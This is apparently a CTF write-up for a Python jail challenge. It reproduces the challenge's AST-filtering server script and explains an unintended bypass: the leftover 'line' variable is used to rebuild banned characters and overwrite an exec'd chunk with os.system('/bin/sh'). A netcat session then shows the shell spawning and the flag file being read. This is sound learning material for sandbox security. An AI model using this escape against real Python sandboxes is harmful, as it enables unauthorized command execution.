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+# not-a-last-minute-pyjail
+
+personally it was like a 3/10 difficulty because of the unintended and because there's really not much to look at here
+
+made by the wrong quasar
+
+big thanks to spencerpogo for helping me about the code chunk modification discovery in this chall
+
+## problem
+
+![image](https://github.com/quasar098/ctf-writeups/assets/70716985/e0e7ff0b-dec8-4ef8-9a78-7ce46e35d5b9)
+
+server.py
+```py
+#!/usr/local/bin/python
+# Copyright 2022 Google LLC
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     https://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+#
+# Flag is in a file called "flag" in cwd.
+#
+# Quote from Dockerfile:
+#   FROM ubuntu:22.04
+#   RUN apt-get update && apt-get install -y python3
+#
+
+if __name__ != "__main__":
+    1/0  # Not a module
+
+import ast
+import sys
+import os
+
+
+def verify_secure(m):
+    for x in ast.walk(m):
+        match type(x):
+            case (ast.Lambda | ast.alias | ast.Assign | ast.Add | ast.Subscript | ast.Dict | ast.Store | ast.arg | ast.Pow | ast.Expr | ast.Div | ast.BinOp | ast.Sub | ast.Name | ast.Mult | ast.Module | ast.Load | ast.Constant | ast.Import | ast.ClassDef | ast.arguments | ast.UnaryOp | ast.USub):
+                continue
+            case _:
+                print(f"ERROR: Banned statement {x}")
+                return False
+    return True
+
+
+abspath = os.path.abspath(__file__)
+dname = os.path.dirname(abspath)
+os.chdir(dname)
+
+print("-- Please enter code (last line must contain only --END, will be split by --CHUNK)")
+source_code = ""
+while True:
+    line = input() + "\n"
+    if line.startswith("--END"):
+        break
+    source_code += line
+
+if '@' in source_code or '.' in source_code or '(' in source_code or ')' in source_code or '#' in source_code:
+    print("ERROR: @.()# are banned")
+    exit(1)
+
+
+chunks = source_code.split("--CHUNK\n")
+for chunk in chunks:
+    tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
+    if not verify_secure(tree):
+        exit(1)
+
+for chunk in chunks:  # Safe to execute!
+    print("-- Executing safe code:")
+    print(chunk)
+    exec(chunk)
+```
+
+## solution
+
+there were a bunch of unintendeds with this one but the unintended i found was weird and probably might not be patched on the first go-around of patches if the other quasar patched it instead of doing it last minute (does that make sense)
+
+the vuln here is that the "chunks" can modify each other, and also, we can get access to restricted characters by using the "line" variable, which stays in scope.
+
+because of the following code, we can put in `--END.()` and get arbitrary code execution
+```py
+    if line.startswith("--END"):
+        break
+```
+
+exec runs the compiled code chunks, so we can't easily modify a code chunk, but we can replace one of the chunks with a string to execute that string.
+
+because of the startswith, the line variable remains in the global scope while not being eligible for verify_secure detection as it's not part of the source code
+
+therefore:
+
+```console
+quasar@quasar098:~$ nc vsc.tf 3445
+-- Please enter code (last line must contain only --END, will be split by --CHUNK)
+chunks[1] = "os"+line[5]+"system"+line[6]+'"/bin/sh"'+line[7]
+--CHUNK
+a
+--END.()
+$ ls
+run
+$ ls /
+app
+bin
+boot
+dev
+etc
+flag.poyvHVzi1MUB72nR0gly.txt
+home
+lib
+lib64
+media
+mnt
+opt
+proc
+root
+run
+sbin
+srv
+sys
+tmp
+usr
+var
+$ cat /flag*
+vsctf{PYTHONNNNNN_SO_FUNNN}
+```